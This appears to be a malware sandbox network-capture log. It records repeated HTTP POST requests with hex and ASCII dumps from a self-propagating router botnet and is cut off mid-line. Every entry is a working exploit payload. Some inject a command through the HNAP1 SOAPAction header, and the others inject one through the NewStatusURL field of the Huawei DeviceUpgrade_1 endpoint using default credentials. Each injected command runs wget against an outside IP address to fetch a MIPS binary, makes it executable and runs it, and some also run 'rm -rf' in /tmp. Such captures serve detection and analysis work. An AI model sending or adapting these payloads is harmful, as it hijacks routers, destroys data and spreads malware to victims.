Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 